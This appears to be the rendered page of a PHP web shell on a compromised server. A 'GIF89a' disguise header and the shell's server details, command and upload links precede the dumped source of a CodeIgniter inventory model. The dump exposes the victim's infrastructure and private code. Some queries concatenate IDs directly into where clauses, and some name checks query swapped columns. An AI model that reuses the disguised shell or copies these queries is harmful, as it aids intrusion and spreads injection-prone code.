GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.149.234.50 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../cas/assets/../application/models/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Model Class For Handling All DB Operations Related To Inventories * * @author Softpro India Pvt. Ltd. */ defined('BASEPATH') OR exit('No direct script access allowed'); class InventoryManagement extends CI_Model { /* Functions For Inventory Categories */ function createNewInventoryCategory(array $newInventoryCategory) { $this->db->insert('inventory_cat_mst', $newInventoryCategory); return $this->db->insert_id(); } function getAllInventoryCategories() { $this->db->select("ICM.icm_id,ICM.icm_name,ICM.icm_short_name,ICM.icm_active_status,ICM.icm_delete_status," . "ICM.icm_description,ICM.icm_added_by,ICM.icm_added_on,ICM.icm_updated_by,ICM.icm_updated_on," . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin," . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin"); $this->db->from('inventory_cat_mst ICM'); $this->db->join('tbl_staff_members TSMA', 'ICM.icm_added_by = TSMA.smember_id'); $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id'); $this->db->join('tbl_staff_members TSMU', 'ICM.icm_updated_by = TSMU.smember_id'); $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id'); $this->db->order_by("ICM.icm_updated_on", "desc"); return $this->db->get(); } function getAllNonDeletedActiveInventoryCategories() { $this->db->select("ICM.icm_id,ICM.icm_name,ICM.icm_short_name,ICM.icm_active_status,ICM.icm_delete_status," . "ICM.icm_description,ICM.icm_added_by,ICM.icm_added_on,ICM.icm_updated_by,ICM.icm_updated_on," . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin," . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin"); $this->db->from('inventory_cat_mst ICM'); $this->db->join('tbl_staff_members TSMA', 'ICM.icm_added_by = TSMA.smember_id'); $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id'); $this->db->join('tbl_staff_members TSMU', 'ICM.icm_updated_by = TSMU.smember_id'); $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id'); $this->db->where("ICM.icm_active_status", "T"); $this->db->where("ICM.icm_delete_status", "F"); return $this->db->get(); } function getInventoryCategoryInfoBy($icm_id) { $this->db->select("ICM.icm_id,ICM.icm_name,ICM.icm_short_name,ICM.icm_active_status,ICM.icm_delete_status," . "ICM.icm_description,ICM.icm_added_by,ICM.icm_added_on,ICM.icm_updated_by,ICM.icm_updated_on," . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin," . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin"); $this->db->from('inventory_cat_mst ICM'); $this->db->join('tbl_staff_members TSMA', 'ICM.icm_added_by = TSMA.smember_id'); $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id'); $this->db->join('tbl_staff_members TSMU', 'ICM.icm_updated_by = TSMU.smember_id'); $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id'); $this->db->where("ICM.icm_id", $icm_id); return $this->db->get(); } function getInventoryCategoryInfoByName($icm_name) { $this->db->select("ICM.icm_id,ICM.icm_name,ICM.icm_short_name,ICM.icm_active_status,ICM.icm_delete_status," . "ICM.icm_description,ICM.icm_added_by,ICM.icm_added_on,ICM.icm_updated_by,ICM.icm_updated_on," . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin," . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin"); $this->db->from('inventory_cat_mst ICM'); $this->db->join('tbl_staff_members TSMA', 'ICM.icm_added_by = TSMA.smember_id'); $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id'); $this->db->join('tbl_staff_members TSMU', 'ICM.icm_updated_by = TSMU.smember_id'); $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id'); $this->db->where("ICM.icm_name", $icm_name); return $this->db->get(); } function getInventoryCategoryInfoByShortName($icm_short_name) { $this->db->select("ICM.icm_id,ICM.icm_name,ICM.icm_short_name,ICM.icm_active_status,ICM.icm_delete_status," . "ICM.icm_description,ICM.icm_added_by,ICM.icm_added_on,ICM.icm_updated_by,ICM.icm_updated_on," . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin," . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin"); $this->db->from('inventory_cat_mst ICM'); $this->db->join('tbl_staff_members TSMA', 'ICM.icm_added_by = TSMA.smember_id'); $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id'); $this->db->join('tbl_staff_members TSMU', 'ICM.icm_updated_by = TSMU.smember_id'); $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id'); $this->db->where("ICM.icm_short_name", $icm_short_name); return $this->db->get(); } function isInventoryCategoryNameSafeUpdate($icm_id, $icm_name) { $this->db->select("*"); $this->db->from('inventory_cat_mst'); $this->db->where('icm_name', $icm_name); $this->db->where('icm_id != ' . $icm_id); $result = $this->db->get()->result(); if (sizeof($result)) { return FALSE; } else { return TRUE; } } function isInventoryCategoryShortNameSafeUpdate($icm_id, $icm_short_name) { $this->db->select("*"); $this->db->from('inventory_cat_mst'); $this->db->where('icm_short_name', $icm_short_name); $this->db->where('icm_id != ' . $icm_id); $result = $this->db->get()->result(); if (sizeof($result)) { return FALSE; } else { return TRUE; } } function updateInventoryCategoryInfo(array $inventoryCategoryUpdatedInfo) { $this->db->where('icm_id', $inventoryCategoryUpdatedInfo['icm_id']); return $this->db->update('inventory_cat_mst', $inventoryCategoryUpdatedInfo); } /* Functions For Inventory Sub-Categories */ function createNewInventorySubCategory(array $newInventorySubCategory) { $this->db->insert('inventory_subcat_mst', $newInventorySubCategory); return $this->db->insert_id(); } function getAllInventorySubCategories() { $this->db->select("ISCM.iscm_id,ISCM.iscm_name,ISCM.iscm_short_name,ISCM.iscm_is_consumable,ISCM.iscm_active_status,ISCM.iscm_delete_status," . "ISCM.iscm_description,ISCM.iscm_added_by,ISCM.iscm_added_on,ISCM.iscm_updated_by,ISCM.iscm_updated_on,ICM.icm_id,ICM.icm_name,ICM.icm_short_name," . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin," . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin"); $this->db->from('inventory_subcat_mst ISCM'); $this->db->join('inventory_cat_mst ICM', 'ISCM.icm_id = ICM.icm_id'); $this->db->join('tbl_staff_members TSMA', 'ISCM.iscm_added_by = TSMA.smember_id'); $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id'); $this->db->join('tbl_staff_members TSMU', 'ISCM.iscm_updated_by = TSMU.smember_id'); $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id'); $this->db->order_by("ISCM.iscm_updated_on", "desc"); return $this->db->get(); } function getNonDeletedActiveSubCategoriesUnderCategory($icm_id) { $this->db->select("ISCM.iscm_id,ISCM.iscm_name,ISCM.iscm_short_name,ISCM.iscm_is_consumable,ISCM.iscm_active_status,ISCM.iscm_delete_status," . "ISCM.iscm_description,ISCM.iscm_added_by,ISCM.iscm_added_on,ISCM.iscm_updated_by,ISCM.iscm_updated_on,ICM.icm_id,ICM.icm_name,ICM.icm_short_name," . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin," . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin"); $this->db->from('inventory_subcat_mst ISCM'); $this->db->join('inventory_cat_mst ICM', 'ISCM.icm_id = ICM.icm_id'); $this->db->join('tbl_staff_members TSMA', 'ISCM.iscm_added_by = TSMA.smember_id'); $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id'); $this->db->join('tbl_staff_members TSMU', 'ISCM.iscm_updated_by = TSMU.smember_id'); $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id'); $this->db->where("ISCM.iscm_active_status", "T"); $this->db->where("ISCM.iscm_delete_status", "F"); $this->db->where("ISCM.icm_id", $icm_id); $this->db->order_by("ISCM.iscm_updated_on", "desc"); return $this->db->get(); } function getInventorySubCategoryInfoBy($iscm_id) { $this->db->select("ISCM.iscm_id,ISCM.iscm_name,ISCM.iscm_short_name,ISCM.iscm_is_consumable,ISCM.iscm_active_status,ISCM.iscm_delete_status," . "ISCM.iscm_description,ISCM.iscm_added_by,ISCM.iscm_added_on,ISCM.iscm_updated_by,ISCM.iscm_updated_on,ICM.icm_id,ICM.icm_name,ICM.icm_short_name," . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin," . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin"); $this->db->from('inventory_subcat_mst ISCM'); $this->db->join('inventory_cat_mst ICM', 'ISCM.icm_id = ICM.icm_id'); $this->db->join('tbl_staff_members TSMA', 'ISCM.iscm_added_by = TSMA.smember_id'); $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id'); $this->db->join('tbl_staff_members TSMU', 'ISCM.iscm_updated_by = TSMU.smember_id'); $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id'); $this->db->where("ISCM.iscm_id", $iscm_id); return $this->db->get(); } function getInventorySubCategoryInfoByName($iscm_name) { $this->db->select("ISCM.iscm_id,ISCM.iscm_name,ISCM.iscm_short_name,ISCM.iscm_is_consumable,ISCM.iscm_active_status,ISCM.iscm_delete_status," . "ISCM.iscm_description,ISCM.iscm_added_by,ISCM.iscm_added_on,ISCM.iscm_updated_by,ISCM.iscm_updated_on,ICM.icm_id,ICM.icm_name,ICM.icm_short_name," . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin," . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin"); $this->db->from('inventory_subcat_mst ISCM'); $this->db->join('inventory_cat_mst ICM', 'ISCM.icm_id = ICM.icm_id'); $this->db->join('tbl_staff_members TSMA', 'ISCM.iscm_added_by = TSMA.smember_id'); $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id'); $this->db->join('tbl_staff_members TSMU', 'ISCM.iscm_updated_by = TSMU.smember_id'); $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id'); $this->db->where("ISCM.iscm_name", $iscm_name); return $this->db->get(); } function getInventorySubCategoryInfoByShortName($iscm_short_name) { $this->db->select("ISCM.iscm_id,ISCM.iscm_name,ISCM.iscm_short_name,ISCM.iscm_is_consumable,ISCM.iscm_active_status,ISCM.iscm_delete_status," . "ISCM.iscm_description,ISCM.iscm_added_by,ISCM.iscm_added_on,ISCM.iscm_updated_by,ISCM.iscm_updated_on,ICM.icm_id,ICM.icm_name,ICM.icm_short_name," . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin," . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin"); $this->db->from('inventory_subcat_mst ISCM'); $this->db->join('inventory_cat_mst ICM', 'ISCM.icm_id = ICM.icm_id'); $this->db->join('tbl_staff_members TSMA', 'ISCM.iscm_added_by = TSMA.smember_id'); $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id'); $this->db->join('tbl_staff_members TSMU', 'ISCM.iscm_updated_by = TSMU.smember_id'); $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id'); $this->db->where("ISCM.iscm_short_name", $iscm_short_name); return $this->db->get(); } function isInventorySubCategoryNameSafeUpdate($iscm_id, $iscm_name) { $this->db->select("*"); $this->db->from('inventory_subcat_mst'); $this->db->where('iscm_short_name', $iscm_name); $this->db->where('iscm_id != ' . $iscm_id); $result = $this->db->get()->result(); if (sizeof($result)) { return FALSE; } else { return TRUE; } } function isInventorySubCategoryShortNameSafeUpdate($iscm_id, $iscm_short_name) { $this->db->select("*"); $this->db->from('inventory_subcat_mst'); $this->db->where('iscm_name', $iscm_short_name); $this->db->where('iscm_id != ' . $iscm_id); $result = $this->db->get()->result(); if (sizeof($result)) { return FALSE; } else { return TRUE; } } function updateInventorySubCategoryInfo(array $inventorySubCategoryUpdatedInfo) { $this->db->where('iscm_id', $inventorySubCategoryUpdatedInfo['iscm_id']); return $this->db->update('inventory_subcat_mst', $inventorySubCategoryUpdatedInfo); } /* Function For Purchase Heads */ function createNewPurchaseHead(array $newPurchaseHead) { $this->db->insert('inventory_phead_mst', $newPurchaseHead); return $this->db->insert_id(); } function getAllPurchaseHeads() { $this->db->select("IPHM.iphm_id,IPHM.iphm_name,IPHM.iphm_short_name,IPHM.iphm_description,IPHM.iphm_active_status," . "IPHM.iphm_delete_status,IPHM.iphm_added_by,IPHM.iphm_added_on,IPHM.iphm_updated_by,IPHM.iphm_updated_on," . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin," . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin"); $this->db->from('inventory_phead_mst IPHM'); $this->db->join('tbl_staff_members TSMA', 'IPHM.iphm_added_by = TSMA.smember_id'); $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id'); $this->db->join('tbl_staff_members TSMU', 'IPHM.iphm_updated_by = TSMU.smember_id'); $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id'); $this->db->order_by("IPHM.iphm_updated_on", "desc"); return $this->db->get(); } function getNonDeletedActivePurchaseHeads() { $this->db->select("*"); $this->db->from('inventory_phead_mst IPHM'); $this->db->where("IPHM.iphm_active_status", "T"); $this->db->where("IPHM.iphm_delete_status", "F"); $this->db->order_by("IPHM.iphm_updated_on", "desc"); return $this->db->get(); } function getPurchaseHeadInfBy($iphm_id) { $this->db->select("IPHM.iphm_id,IPHM.iphm_name,IPHM.iphm_short_name,IPHM.iphm_description,IPHM.iphm_active_status," . "IPHM.iphm_delete_status,IPHM.iphm_added_by,IPHM.iphm_added_on,IPHM.iphm_updated_by,IPHM.iphm_updated_on," . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin," . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin"); $this->db->from('inventory_phead_mst IPHM'); $this->db->join('tbl_staff_members TSMA', 'IPHM.iphm_added_by = TSMA.smember_id'); $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id'); $this->db->join('tbl_staff_members TSMU', 'IPHM.iphm_updated_by = TSMU.smember_id'); $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id'); $this->db->where("IPHM.iphm_id", $iphm_id); return $this->db->get(); } function getPurchaseHeadInfoByName($iphm_name) { $this->db->select("IPHM.iphm_id,IPHM.iphm_name,IPHM.iphm_short_name,IPHM.iphm_description,IPHM.iphm_active_status," . "IPHM.iphm_delete_status,IPHM.iphm_added_by,IPHM.iphm_added_on,IPHM.iphm_updated_by,IPHM.iphm_updated_on," . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin," . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin"); $this->db->from('inventory_phead_mst IPHM'); $this->db->join('tbl_staff_members TSMA', 'IPHM.iphm_added_by = TSMA.smember_id'); $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id'); $this->db->join('tbl_staff_members TSMU', 'IPHM.iphm_updated_by = TSMU.smember_id'); $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id'); $this->db->where("IPHM.iphm_name", $iphm_name); return $this->db->get(); } function getPurchaseHeadInfoByShortName($iphm_short_name) { $this->db->select("IPHM.iphm_id,IPHM.iphm_name,IPHM.iphm_short_name,IPHM.iphm_description,IPHM.iphm_active_status," . "IPHM.iphm_delete_status,IPHM.iphm_added_by,IPHM.iphm_added_on,IPHM.iphm_updated_by,IPHM.iphm_updated_on," . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin," . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin"); $this->db->from('inventory_phead_mst IPHM'); $this->db->join('tbl_staff_members TSMA', 'IPHM.iphm_added_by = TSMA.smember_id'); $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id'); $this->db->join('tbl_staff_members TSMU', 'IPHM.iphm_updated_by = TSMU.smember_id'); $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id'); $this->db->where("IPHM.iphm_short_name", $iphm_short_name); return $this->db->get(); } function isPurchaseHeadNameSafeUpdate($iphm_id, $iphm_name) { $this->db->select("*"); $this->db->from('inventory_phead_mst'); $this->db->where('iphm_name', $iphm_name); $this->db->where('iphm_id != ' . $iphm_id); $result = $this->db->get()->result(); if (sizeof($result)) { return FALSE; } else { return TRUE; } } function isPurchaseHeadShortNameSafeUpdate($iphm_id, $iphm_short_name) { $this->db->select("*"); $this->db->from('inventory_phead_mst'); $this->db->where('iphm_short_name', $iphm_short_name); $this->db->where('iphm_id != ' . $iphm_id); $result = $this->db->get()->result(); if (sizeof($result)) { return FALSE; } else { return TRUE; } } function updatePurchaseHeadInfo(array $projectHeadUpdatedInfo) { $this->db->where('iphm_id', $projectHeadUpdatedInfo['iphm_id']); return $this->db->update('inventory_phead_mst', $projectHeadUpdatedInfo); } }